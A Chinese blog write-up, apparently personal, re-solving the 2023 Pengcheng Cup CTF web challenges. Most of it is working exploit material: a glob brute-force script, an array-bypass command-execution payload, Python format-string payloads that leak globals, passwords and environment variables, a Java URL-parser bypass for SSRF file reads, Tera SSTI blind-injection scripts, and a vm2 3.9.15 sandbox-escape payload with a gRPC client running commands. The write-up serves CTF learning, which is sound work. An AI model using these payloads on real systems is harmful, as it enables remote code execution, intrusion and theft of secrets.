2023鹏城杯-web

2023鹏城杯-web 复现

前言

当时打比赛被爆杀,只写出一个web,一个misc,后来没时间复现,现在来看看

web-1

贼简单的pop链

<?php

class Hacker {
}

class H {
    public $username;
}

$b = new Hacker();

$a = new H();
$a->username = $b;

echo serialize($a);
?>

web-2

filename 会传入 scandir 函数, 当目录存在时返回 yes 否则返回 no

这里我当时没什么思路,但是源代码中有backdoor_[a-f0-9]{16}.php,但是嫌麻烦,并且还是没啥思路,就算了

这里可以使用glob协议一位一位来进行判断,因为glob可以使用*

爆破/var/www/html

import requests

dicts = '0123456789abcdef'
flag = ''

i = 1

while True:
    for s in dicts:
        print('testing', s)
        url = 'http://172.10.0.5/'
        res = requests.post(url, data={
            'filename': 'glob:///var/www/html/backdoor_' + flag + s + '*',
        })
        if 'yesyesyes!!!' in res.text:
            flag += s
            print('found!!!', flag)
            break
    i += 1

爆出backdoor_00fbc51dcdf9eef767597fd26119a894.php

<?php
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['username'])){
    $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
    mkdir($sandbox);
    chdir($sandbox);
    
    if(isset($_GET['title'])&&isset($_GET['data'])){
        $data = $_GET['data'];
        $title= $_GET['title'];
        if (strlen($data)>5||strlen($title)>3){
            die("no!no!no!");
        }
        file_put_contents($sandbox.$title,$data);

        if (strlen(file_get_contents($title)) <= 10) {
            system('php '.$sandbox.$title);
        }
        else{
            system('rm '.$sandbox.$title);
            die("no!no!no!");
        }

    }
    else if (isset($_GET['reset'])) {
        system('/bin/rm -rf ' . $sandbox);
    }
}
?>

一个队友拿到这个代码后给我,我第一眼以为是限制长度的RCE,但是条件太严行不通,就没有思路了

结果谁想到绕过十分简单,使用数组即可

<?php    
$data = $_GET['data'];
$title= $_GET['title'];
var_dump(strlen($data));
echo "<br>";
var_dump(strlen($title));
echo "<br>";
var_dump(strlen($data)>5);
echo "<br>";
var_dump(strlen($title)>3);

image-20240115153333098

payload:

GET /backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=exp10it&title[]=123&data[]=<?=`nl+/*`; HTTP/1.1

Escape

赛后有战队wp中说这是外国一个比赛原题

from sqlite3 import *

from random import choice
from hashlib import sha512

from flask import Flask, request, Response

app = Flask(__name__)

salt = b'****************'

class PassHash(str):
    def __str__(self):
        return sha512(salt + self.encode()).hexdigest()

    def __repr__(self):
        return sha512(salt + self.encode()).hexdigest()

con = connect("users.db")
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("CREATE TABLE users(username, passhash)")
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
cur.execute(
    "INSERT INTO users VALUES (?, ?)",
    ("admin", str(passhash))
)
con.commit()

@app.route('/source')
def source():
    return Response(open(__file__).read(), mimetype="text/plain")

@app.route('/')
def index():
    if 'username' not in request.args or 'password' not in request.args:
        return open("index.html").read()
    else:
        username = request.args["username"]
        new_pwd = PassHash(request.args["password"])
        con = connect("users.db")
        cur = con.cursor()
        res = cur.execute(
            "SELECT * from users WHERE username = ? AND passhash = ?",
            (username, str(new_pwd))
        )
        if res.fetchone():
            return open("secret.html").read()
        return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
                .format(user=username)
                .format(passhash=new_pwd)
                )

if __name__ == "__main__":
    app.run('0.0.0.0', 10000)

这题当时已经看出是python格式化字符串漏洞了,但是可惜不会利用,对flask没有特别了解

PassHash 虽然继承了 str, 但是只重写了 __str____repr__ 两个方法, 实例化时传入的 password 明文其实还保存在对象里面

image-20240115173816666

大佬说法

比如 passhash.lower() 依然显示的是原来的值

:>0 表示左对齐, 会调用父类 str 的 __format__ 方法, 而不是 __str____repr__, 进而得到明文

看了wp,感觉现在就是要先获取到PassHash这个类的实例

问了下GPT,大概是这样回答的,后来又问了一次,gpt纠错后的答案感觉不是很靠谱

image-20240115174832002

image-20240115174817690

image-20240115173716134

获取密码明文

实际测试

from random import choice
from hashlib import sha512

from flask import Flask, request, Response

app = Flask(__name__)

salt = b'****************'

class PassHash(str):
    def __str__(self):
        return sha512(salt + self.encode()).hexdigest()

    def __repr__(self):
        return sha512(salt + self.encode()).hexdigest()


passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
print(passhash)


@app.route('/')
def index():
    username = request.args["username"]
    new_pwd = PassHash(request.args["password"])

    return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
            .format(user=username)
            .format(passhash=new_pwd)
            )

if __name__ == "__main__":
    app.run('0.0.0.0', 10000)
username={passhash.__str__.__globals__}&password=2
username={passhash.__class__.__str__.__globals__}&password=2
username={passhash.__class__.__repr__.__globals__}&password=2
username={passhash.__repr__.__globals__}&password=2

以上payload均能够获取__globals__的内容

image-20240115175838102

1

通过__globals__获取到passhash,然后就可以根据大佬的说法

:>0 表示左对齐, 会调用父类 str__format__ 方法, 而不是 __str____repr__, 进而得到明文
username={passhash.__class__.__str__.__globals__[passhash]:>0}&password=2

image-20240115180158358

2

也可以取数组下标一位一位弄出来

username={passhash.__class__.__str__.__globals__[passhash][0]}&password=2
import requests
url = "http://localhost:5000/?username={passhash.__class__.__str__.__globals__[passhash]"
for i in range(20):
    req = requests.get(url+f"[{i}]"+"}&password=2")
    print(req.text)

image-20240115180758401

这样就获取到了admin的密码

获取环境变量

登录

/?username=admin&password=3673940420288307

提示 flag 在环境变量里面

于是通过 flask app 找到 os 模块, 然后读取 environ 属性

username={passhash.__str__.__globals__[app].__init__.__globals__[os].environ}&password=2

image-20240115181536992

这个payload也可以

username={passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ}&password=1

HTTP

这没办法,要是做题肯定不会,只能看看WP了

扫描发现

http://172.10.0.3:8080/swagger-ui/index.html

只有一个api,可以进行ssrf,先http://x.x.xx./到自己的云服务器,发现user-agent中有java版本,猜测是通过URL类发起请求。使用ftp也能正常获取内容,但是使用file的时候被过滤了,调试URL类,发现可以利用绕过的点

if (spec.regionMatches(true, start, "url:", 0, 4)) {
                start += 4;
            }

在url以url:开头时,直接跳过,紧接着的是对#符号的处理

if (start < spec.length() && spec.charAt(start) == '#') {
                /* we're assuming this is a ref relative to the context URL.
                 * This means protocols cannot start w/ '#', but we must parse
                 * ref URL's like: "hello:there" w/ a ':' in them.
                 */
                aRef=true;
            }

利用这个点可以绕过仅.html限制,读取flag

http://172.10.0.3:8080/proxy/url?url=url:file:///flag%23a.html

/proxy/url 存在 ssrf, 过滤了 file:// netdoc:// 等协议

使用 url:file:// 绕过, 再传一个 query string 绕过 Only html can be viewed 限制

/proxy/url?url=url:file:///flag?html

Tera

当时题目描述写了ssti,我就在bing上搜索tera ssti,结果啥都没有

赛后看lolita做出来了,问他是怎样信息搜集的,他说主要是看文档,(大佬都是这样呜呜呜)

他也说tera ssti,只是用的是chrome,我用chrome一搜,直接就找到相关文章了。。。。。。。

tera实际上是Rust的模板引擎

tera A powerful, fast and easy-to-use template engine for Rust

看了三个payload

有三个主要部分,绕过flag的过滤,利用get_env获取环境变量中的flag值,利用if语句对flag值进行盲注

区别就是具体实现不同

直接给出来吧,感觉没啥好说的,这种题还得是做到时具体看文档

Tera (keats.github.io)

//不报错,说明环境变量中存在flag变量
{% set fla=['f', 'l', 'a', 'g']|join(sep="") %}
{% set fla1 = get_env(name=fla) %}


//利用reverse反转字符串,然后在if语句中使用starting_with,若正确回显ok,盲注出flag
import requests

flag = ""
for j in range(100):
    for i in "0123456789abcdef-{}":
        postdata = """{% set f='galf'|reverse %}{% set f1 = get_env(name=f)|reverse %}{% if f1 is starting_with('""" + flag + i + """') %}ok{% endif %}"""
        res = requests.post("http://172.10.0.3:8081/", postdata).text
        if "ok" in res:
            flag += i
            print(flag)
            break
            
            
反转一下套上flag标签即可
//。。。要反转的话get_env后面不加reverse不就行了吗
import requests

url = "http://172.10.0.3:8081/"

headers = {
  'Content-Type': 'text/plain'
}

for i in '0123456789abcdef':
    while True:
        try:
            payload = '''
{% set AX = get_env(name="fl"~"ag", default="1") %}    //~拼接flag
{%- for char in AX -%}
C                                    //计数
{%- if char == 'LOLITA' -%}          //在发包时进行替换
h                                    //若正确回显h
{%- else -%}
{%- endif -%}
{% endfor %}
'''
            response = requests.request("POST", url, headers=headers, data=payload.replace("LOLITA", i), timeout=(1,1))
            #print(response.text)
            rspt = response.text.strip()
            print(rspt)
            cc = 0
            for x in range(len(rspt)):
                if rspt[x] == 'C':
                    cc += 1
                if rspt[x] == 'h':
                    flag[cc-1] = i
            print(''.join(flag))
            break
        except:
            1-1
import requests

dicts = '0123456789abcdef-'
# flag = '{3c8ce067-4df7-66b2-843a-04c6959'
flag = '-04c695904159}'

i = 1


//replace绕过flag的匹配,在if语句中使用starting_with,若正确回显true,盲注出flag
while True:
    for s in dicts:
        print('testing', s)
        url = 'http://172.10.0.3:8081/'
        # data = r'{% set my_var = get_env(name="flac"|replace(from="c", to="g")) %}{% if my_var is starting_with("AAAg' + flag + s + '"|replace(from="AAA", to="fla")) %}true{% else %}false{% endif %}'
        data = r'{% set my_var = get_env(name="flac"|replace(from="c", to="g")) %}{% if my_var is ending_with("' + s + flag + '") %}true{% else %}false{% endif %}'
        # print(data)
        res = requests.post(url, data=data)
        if 'forbidden' in res.text:
            print('forbidden')
            exit()
        if 'true' in res.text:
            # flag += s
            flag = s + flag
            print('found!!!', flag)
            break
    i += 1
flag{3c8ce067-4df7-66b2-843a-04c695904159}

simple_rpc

访问自动跳转

http://172.10.0.6:3000/find_rpc?less=h5%7Bcolor:red%7D

搜了一下less=h5%7Bcolor:red%7D好像是Less.js用于CSS扩展

提示要读取rpc.js,找官方文档,有@import可以用 https://less.bootcss.com/features/#import-at-rules-inline 用inline选项可以原样导入文本,读取rpc.js和package.json

image-20240115211141073

/find_rpc?less=h5{@import%20(inline)%20'rpc.js';}
/find_rpc?less=h5{@import%20(inline)%20'eval.proto';}
/find_rpc?less=h5{@import%20(inline)%20'app.js';}
/find_rpc?less=h5{@import%20(inline)%20'package.json';}
//rpc.js

var PROTO_PATH = __dirname + '/eval.proto';
const {VM} = require("vm2");
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var packageDefinition = protoLoader.loadSync(
    PROTO_PATH,
    {keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true
    });
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;

function evalTemplate(call, callback) {
    const vm = new VM();
    callback(null, {message:    vm.run(call.request.template) });
}

function main() {
    var server = new grpc.Server();
    server.addService(hello_proto.Demo.service, {evalTemplate: evalTemplate});
    server.bindAsync('0.0.0.0:8082', grpc.ServerCredentials.createInsecure(), () => {
        server.start();
    });
}

main()

image-20240115212744307

//eval.proto

syntax = "proto3";

package helloworld;

service Demo {
  rpc evalTemplate (TemplateRequest) returns (Reply) {}
}

message TemplateRequest {
  string template = 1;
}

message Reply {
  string message = 1;
}

就是一个简单的请求与响应

{
  "name": "confuse",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "node app.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.17.1",
    "vm2": "3.9.15",
    "acorn": "^8.8.2",
    "@grpc/grpc-js": "^1.9.0",
    "@grpc/proto-loader": "^0.7.8",
    "less": "^4.2.0"
  }

vm2该版本存在逃逸漏洞https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

所以我们构造grpc client去与服务端进行交互即可

const grpc = require('@grpc/grpc-js');
const protoLoader = require('@grpc/proto-loader');

var PROTO_PATH = __dirname + '/eval.proto';
var packageDefinition = protoLoader.loadSync(
    PROTO_PATH,
    {
        keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true
    }
);

var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
var client = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure());

var template = `err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString();
}`;

client.evalTemplate({template: template}, function(err, response) {
    if (err) {
        console.error(err);
        return;
    }
    console.log('服务端的运算结果: ', response.message);
});

不会写没关系,找gpt生成一下就行

const grpc = require('@grpc/grpc-js');
const protoLoader = require('@grpc/proto-loader');

const PROTO_PATH = __dirname + '/eval.proto';
const packageDefinition = protoLoader.loadSync(
    PROTO_PATH,
    { keepCase: true, longs: String, enums: String, defaults: true, oneofs: true }
);

const hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;

function evalTemplate(template) {
    const client = new hello_proto.Demo('localhost:8082', grpc.credentials.createInsecure());

    const request = { template };

    client.evalTemplate(request, (error, response) => {
        if (!error) {
            console.log('Response:', response.message);
        } else {
            console.error('Error:', error);
        }
    });
}

// Example usage:
evalTemplate('Hello, {{ name }}!');

看到TEL师傅的非预期

https://zhuanlan.zhihu.com/p/389345632

非预期吧?less.js rce

Vps 上放 1.js

image-20240119004540337

总结

题目考点总体来说都是那种需要现学现用的那种,但我很难看得懂官方文档

所以做题总做不出来,tera的那种看文档的话应该是属于最简单的那种了,很多方法都能用,不像别的难题在众多语句中找到要用的

唉,太难了

reference

2023第三届“鹏城杯”线上初赛WriteUp | CN-SEC 中文网

https://exp10it.io/2023/11/2023-%E9%B9%8F%E5%9F%8E%E6%9D%AF-web-writeup/#simple_rpc


2023鹏城杯-web
https://zer0peach.github.io/2024/01/15/2023鹏城杯-web/
作者
Zer0peach
发布于
2024年1月15日
许可协议